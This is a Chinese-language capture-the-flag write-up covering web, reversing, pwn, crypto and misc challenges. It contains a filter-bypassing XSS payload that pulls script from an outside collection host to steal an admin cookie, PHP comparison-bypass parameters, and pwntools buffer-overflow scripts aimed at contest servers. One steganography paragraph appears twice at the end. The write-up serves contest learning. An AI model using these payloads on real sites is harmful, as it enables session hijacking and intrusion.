1. 程式人生 > 實用技巧 >[強網杯青少年賽] 慘慘戰隊WriteUp

[強網杯青少年賽] 慘慘戰隊WriteUp

Web

easy_php

簡單題,PHP黑魔法梭哈

第一層 a1 a2 弱型別繞過

第二層 b1 b2 陣列繞過

第三層 time 科學計數法繞過

/?a1=240610708&a2=QNKCDZO&b1[]=1&b2[]=2&time=8e88

簽到

開啟後是kali的命令界面,一直回車得到flag

easy_http

先是以Get方式給fruit傳值apple:

然後再以Post方式給vegetable傳值potapo:

之後要求本地訪問,直接利用X-Forwarded-For頭繞過:

最後要求身份證明這個也是非常腦洞的題目,secret其實是個迷霧,直接把Http_1s_W0nd3rful關鍵字新增到U-A頭即可繞過最終資料包如下

POST /?fruit=apple HTTP/1.1
Host: eci-2zejaarzxxkx8pqk0lcy.cloudeci1.ichunqiu.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Http_1s_W0nd3rful
X-Forwarded-For:127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Cookie: chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; browse=CFlaTxUYU0BaV1tCVQJTRFBZSkdeQ1lYWVtFR1dRW0VTUF5PW0VLTgBZXUNbQVxOGllZTFRTW0VbU0VFVlxbTElRWE9dRlNFWUFTCA; UM_distinctid=17438c3cfd544-084b5559307959-7d7f582e-1fa400-17438c3cfd72a; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1599213575,1599230970,1599234684,1599267160; ci_session=4d0653e1d49e44a2ee608a388cea4c1195a1ba76; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1599290610; __jsluid_h=0f528e9a32a83f24c021a258d97f97ca
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 16

vegetable=potato

XSS

開啟題目可以看到導航欄有三個地址,第一個是成績查詢的介面,輸入姓名可以查詢到成績

第二個是反饋頁面可以提交站點的連結,管理員會自動開啟檢視,此處也就是XSS點。

最後一個介面是Admin,開啟是後臺,應該是打到管理員cookie後偽造登入。

這題考察的肯定是xss內容,直接測試成績查詢頁面是否存在xss

在成績查詢的輸入口通過fuzz發現過濾了script

利用雙寫加上大小寫混淆就可以繞過,構造Payload如下:

<scrsCrIptipt srC=//xs.sb/pQBd></scrisCRipTpt>

得到反射型XSS Payload URL如下:

http://eci-2ze8iaai2nr5l4ky7twq.cloudeci1.ichunqiu.com:8888/func2?csrf_token=IjA3MGE4YTc4MTU5MzcyNWY3MDkyNjUzMzEzZDlmMTY0NmM2NDA1ODci.X1NzPg.IndHPa7f4YNsJ-Mo-1gG5rOzwwU&name=%3CscrsCrIptipt+srC%3D%2F%2Fxs.sb%2FpQBd%3E%3C%2FscrisCRipTpt%3E&submit=Get+It%21

訪問後打到了自己的cookie資訊,證明反射型xss是正常執行

解題思路如下

  • 成績查詢頁面構造反射型xss
  • 反饋介面將xss的地址提交,管理員會自動開啟該地址
  • 成功打到cookie後修改cookie進入後臺,然後獲取flag

在反饋介面提交xss地址

這裡有個坑,通過題目提示可以知道“/”就代表了host,所以不需要加前面的host,構造Payload如下

/func2?csrf_token=IjA3MGE4YTc4MTU5MzcyNWY3MDkyNjUzMzEzZDlmMTY0NmM2NDA1ODci.X1NzPg.IndHPa7f4YNsJ-Mo-1gG5rOzwwU&name=%3CscrsCrIptipt+srC%3D%2F%2Fxs.sb%2FpQBd%3E%3C%2FscrisCRipTpt%3E&submit=Get+It%21

打到管理員cookie

修改cookie後訪問Admin頁面得到flag

Re

VM演算法分析

重要的處理部分是動態寫進入的 我們也用IDA動態跟進去 F5反彙編

int __cdecl sub_20000(int a1, int a2)
{
  int result; // eax
  int i; // [esp+50h] [ebp-64h]
  int v4; // [esp+54h] [ebp-60h]
  int v5; // [esp+58h] [ebp-5Ch]
  int v6; // [esp+5Ch] [ebp-58h]
  int v7; // [esp+60h] [ebp-54h]
  int v8[20]; // [esp+64h] [ebp-50h]


  v4 = 0;
  v5 = 0;
  v6 = 0;
  v7 = 0;
  while ( 2 )
  {
    switch ( *(unsigned __int8 *)(v7 + a2) )
    {
      case 0xF0u:
        v8[v6++] = *(unsigned __int8 *)(v5 + a1);
        ++v7;
        continue;
      case 0xF1u:
        *(_BYTE *)(v5 + a1 - 1) = v8[--v6];
        ++v7;
        continue;
      case 0xF2u:
        v4 = v8[--v6];
        ++v7;
        continue;
      case 0xF3u:
        v4 += *(unsigned __int8 *)(v7 + a2 + 1);
        v7 += 2;
        continue;
      case 0xF4u:
        *(&v7 + v6) ^= v4;
        ++v7;
        continue;
      case 0xF5u:
        ++v5;
        ++v7;
        continue;
      case 0xF6u:
        if ( *(&v7 + v6) && *(&v7 + v6) != 10 )
          ++v7;
        else
          v7 += 3;
        continue;
      case 0xF7u:
        for ( i = 0; *(_BYTE *)(i + a1); ++i )
          ;
        result = v5;
        if ( v5 != i )
        {
          v7 = 0;
          continue;
        }
        return result;
      default:
        continue;
    }
  }
}

看著很複雜 把a2提出來是 [F0h,0F2h,0F3h,1,0F5h,0F0h,0F6h,0F4h,0F1h,0F7h]

按著流程走 執行程式碼 a1[i] = ( a[i] + 1 ) ^ a[i+1]

把最後的對照資料str2提取出來 逆向一下得到flag:

f = open('a.in')
s = f.readline()
i = 0
n = []
while i < len(s):
    n.append(int(s[i:i+2],16))
    print int(s[i:i+2],16)
    i = i + 3


for i in range(len(n)-1-1,-1,-1):
    n[i] = (n[i] ^ n[i+1] )-1
flag = ''
for i in range(len(n)):
    flag += chr(n[i])
print flag

Pwn

加減乘除

首先需要滿足 12次以內 讓其數值達到66 然後就是dword_40A0的值要非零 因為bss區域初始化是0 所以要修改 。發現駛入name也在bss且可以覆蓋 這裡的條件解決

12次到達66 直接寫指令碼跑一跑就出來了:

def dfs(n,dep,step):
    if flag:
        return
    if n == 66:
        print step
        exit(0)
    if dep == 12:
        return
    if n > 66:
        return
    dfs(3,dep+1,step+'a')
    dfs(n+4,dep+1,step+'b')
    dfs(n*7,dep+1,step+'c')
    dfs(n//5,dep+1,step+'d')
dfs(0,0,'')

因為自己的send和sendline都沒有打通 乾脆後面的處理就手動了

from pwn import *
# io = process('./pwn')
io = remote('182.92.184.215',12345)
name = 'A' * (0x409F - 0x4060 + 1) + p32(1)
io.sendlineafter('start:',name)
success('lxy')
'''
payload = 'abbdbcbbbbbb'
for i in range(len(payload)):
    io.sendafter('> ',payload[i])
    sleep(0.1)
'''
io.interactive()

URL

有後門函式,只需要覆蓋返回地址即可

0x40 + 0x40 + 0x50 不夠覆蓋,但瞭解到strcat到性質 遇到'\0'停止,所以可以構造一連串不帶終止符到payload

最開始用的是 0x40 + 0x39 + 0x4c + '\x99\x12\x40' 還是沒法覆蓋到ret_addr

突然又忘記Input限制 第二部分沒有按照0x40以內到字元要求 竟然打通了。。

from pwn import*
#io = process('./pwn')
io = remote('182.92.184.215',34521)
elf = ELF('./pwn')
def lauch_gdb(io):
    context.log_level = 'debug'
    gdb.attach(io)
#lauch_gdb(p)
io.sendlineafter("(protocol):",'A'*0x39+'\0')
io.sendlineafter("(domain):",'A'*0x45)
io.sendlineafter("(path):",'A'*0x44+p64(0x401299))
io.interactive()

Crypto

easy_Crypto

先線上解密一下http://www.metools.info/code/c90.html

加上符號就是 fpyitlyth__nsiaropiosengcgasstrg{r_e}

根據提示資訊 是一個柵欄加密 通過給的文字解密克可知每組數字為5

跑了一下普通柵欄發現不對 跑W柵欄就出flag了

flag{cryptography_is_so_insteresting}

base64

給了原文字和加密文字 還有加密的flag 很可能是修改過table

先讓原文字正常加密,對應搞出替換後的table,這裡因為字典不足,替換後的table部分缺失,先跑一下發現只有一處亂碼

替換後的table:LM#OPQRSTuvwxyz#VWXYZabcdefghi##lA#CDEFGHIJKmnopqrst012345#
亂碼的flag : flag{Mase64d1sdS0dF4nta5tic\x91

細心觀察發現 flag的加密文字中只有字元 k 在替換後的table裡面沒有對應

於是爆破一下k的位置 跑出flag

import base64 
table1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
table2 = []
for i in range(64):
    table2.append('#')
a = 'sadhlkj122i3upoi213456aABSADHKJHLKJSADSADJLKHUOIPQWUEYUGHJ123456789012233165410123123456789123709864hjklhfjldsnfzkpidjskljkamxcvmbcxamvbnm'
en1 = 'c2FkaGxrajEyMmkzdXBvaTIxMzQ1NmFBQlNBREhLSkhMS0pTQURTQURKTEtIVU9JUFFXVUVZVUdISjEyMzQ1Njc4OTAxMjIzMzE2NTQxMDEyMzEyMzQ1Njc4OTEyMzcwOTg2NGhqa2xoZmpsZHNuZnprcGlkanNrbGprYW14Y3ZtYmN4YW12Ym5t'
en2 = 'h2QDfRrKfCPsxFDticMpfYTrxtV1yFQMVEyMWPAwXDAxX0IYVZWYVZWvYPnTaZ9uZQQcaZaeaZiTXCPsxtV1yCh4zYLrxCTtxtP2yYVrxOPsxtPsxtV1yCh4zYPsxthqzYl2yRAJf2rHeFImeSyoeGIKhREDfGyKgRIKdb14d3endFy4db12dF5n'

for i in range(len(en1)):
    for j in range(64):
        if table1[j] == en1[i]:
            table2[j] = en2[i]
            break
s = 'eFrAe3nNdcyEyCWkxcykZtMkWCWoiRP1iRECkV=='
#flag{Mase64_1s_S0_F4nta5tic}
pl = []
for i in range(64):
    if table2[i] == '#':
        pl.append(i)
for i in range(len(pl)):
    #table2[pl[i]] = 'k'
    table = ''
    for j in range(64):
        table += table2[j]
    print(table)
    print (base64.b64decode(s.translate(str.maketrans(table,table1))))
    table2[pl[i]] = '#'

這裡得到的flag裡面的單詞為 Mase 改成 Base 就是正確flag

簡單演算法

簽到題後發系列

flag = ''
a = [49, 60, 58, 53, 50, 107, 117, 63, 57, 107, 63, 109, 66, 137, 65, 119, 118, 128, 142, 118, 117, 118, 123, 147, 77, 126, 130, 124, 152, 80, 127, 134, 83, 87, 134, 87, 147, 148, 142, 95, 93, 85]
for i in range(len(a)):
    flag += chr((a[i] - i - 1) ^ 86)
print flag

easy_feistel

沒什麼好寫的 就是一個純逆向過程 有點繞 多除錯改一改就出來了嚶嚶嚶

import base64
def F(M,K):
    M1 = []
    for i in range(16):
        tmp = ord(M[i])
        M1.append(chr((tmp >> 4) ^ tmp))
    K = list(K)
    for i in range(16):
        M1[i] = chr(ord(K[i]) ^ ord(M1[i]))
    M = list(M)
    Pe = [14,7,9,1,10,3,2,15,0,13,6,11,12,4,8,5]
    for i in range(16):
        M[Pe[i]] = M1[i]
    return  "".join(M)
def round(M,K):
    newL = M[0:16]
    newR = M[16:32]
    L = F(newR,K)
    R = []
    for i in range(16):
        R.append(chr(ord(L[i])^ord(newL[i])))
    return "".join(L) + "".join(R)
f = open('outfei2.txt')
K = []
for i in range(10):
    K.append(base64.b64decode(f.readline()[:-1]))
M = base64.b64decode(f.readline()[:])
for i in range(9,-1,-1):
    print i
    M = round(M,K[i])
print M
f.close()
# flag{4b5b6e66-0fcc-405a-97ca-0}

moss

直接放網頁解密https://tool.lu/ja_JP/morse/

有提示小寫 加上{}構成flag flag{mossisveryf4nty}

Misc

一切皆可視

下載題目xml檔案後,用編輯器打開發現snap!的官網:https://snap.berkeley.edu

官網提供了線上IDE:https://snap.berkeley.edu/snap/snap.html

開啟IDE直接匯入題目xml檔案,可以看到重點在於解出開鎖的key

從原始碼可以看出來是異或加密,

根據前面sercet的值,直接寫指令碼跑出key

a = [92, 0, 74, 66, 116, 77, 126 ,69 ,17, 17, 102, 126 ,69 ,79 ,97 ,126, 18 ,76 ,17 ,98 ,16 ,77 ,18 ,86,90,70,64,77,71]
flag = ''
for i in range(len(a)):
    a[i] ^= 33
    flag += chr(a[i])
print flag[::-1]

Luo_Tianyi

有點腦洞的圖片隱寫,研究了好久= =腦洞是真的有點大

steghide提取檔案,根據題目名稱猜測祕鑰是luotianyi

提取出flag.txt,得到Flag:

easy_pcap

根據題目題幹資訊可以使用wireshark進行流量分析,開啟資料包pcap格式資料包後發現很多的http協議,先過濾出HTTP協議型別的請求:

通過分析發現是一句話後門的流量監控檔案,發現一php檔名疑似是base編碼

base64解密 url解碼得到flag

git的謎底

寫字板開啟,我不知道怎麼想到的 可能是因為才裝的的虛擬機器沒有vscode

得到Flag:

flag{misc_stegano_is_everywhere}

misc_made_up

從題目的圖片中用binwalk分離出來一個zip檔案,密碼123456(弱口令猜出來的= =)

得到壓縮包中的txt文件,發現裡面有Tab和空格構成的內容,猜測是snow隱寫,但是一直沒有找到金鑰,在這裡卡了一晚上。

根據hint給的java盲水印,然後在github上找到一個專案https://github.com/ww23/BlindWatermark

用這個專案解出盲水印,得到金鑰:

snow隱寫,金鑰為PasS@wo_rd_here

http://fog.misty.com/perry/ccs/snow/snow/snow.html解密得到Flag:

有點腦洞的圖片隱寫,研究了好久= =腦洞是真的有點大

steghide提取檔案,根據題目名稱猜測祕鑰是luotianyi

提取出flag.txt,得到Flag: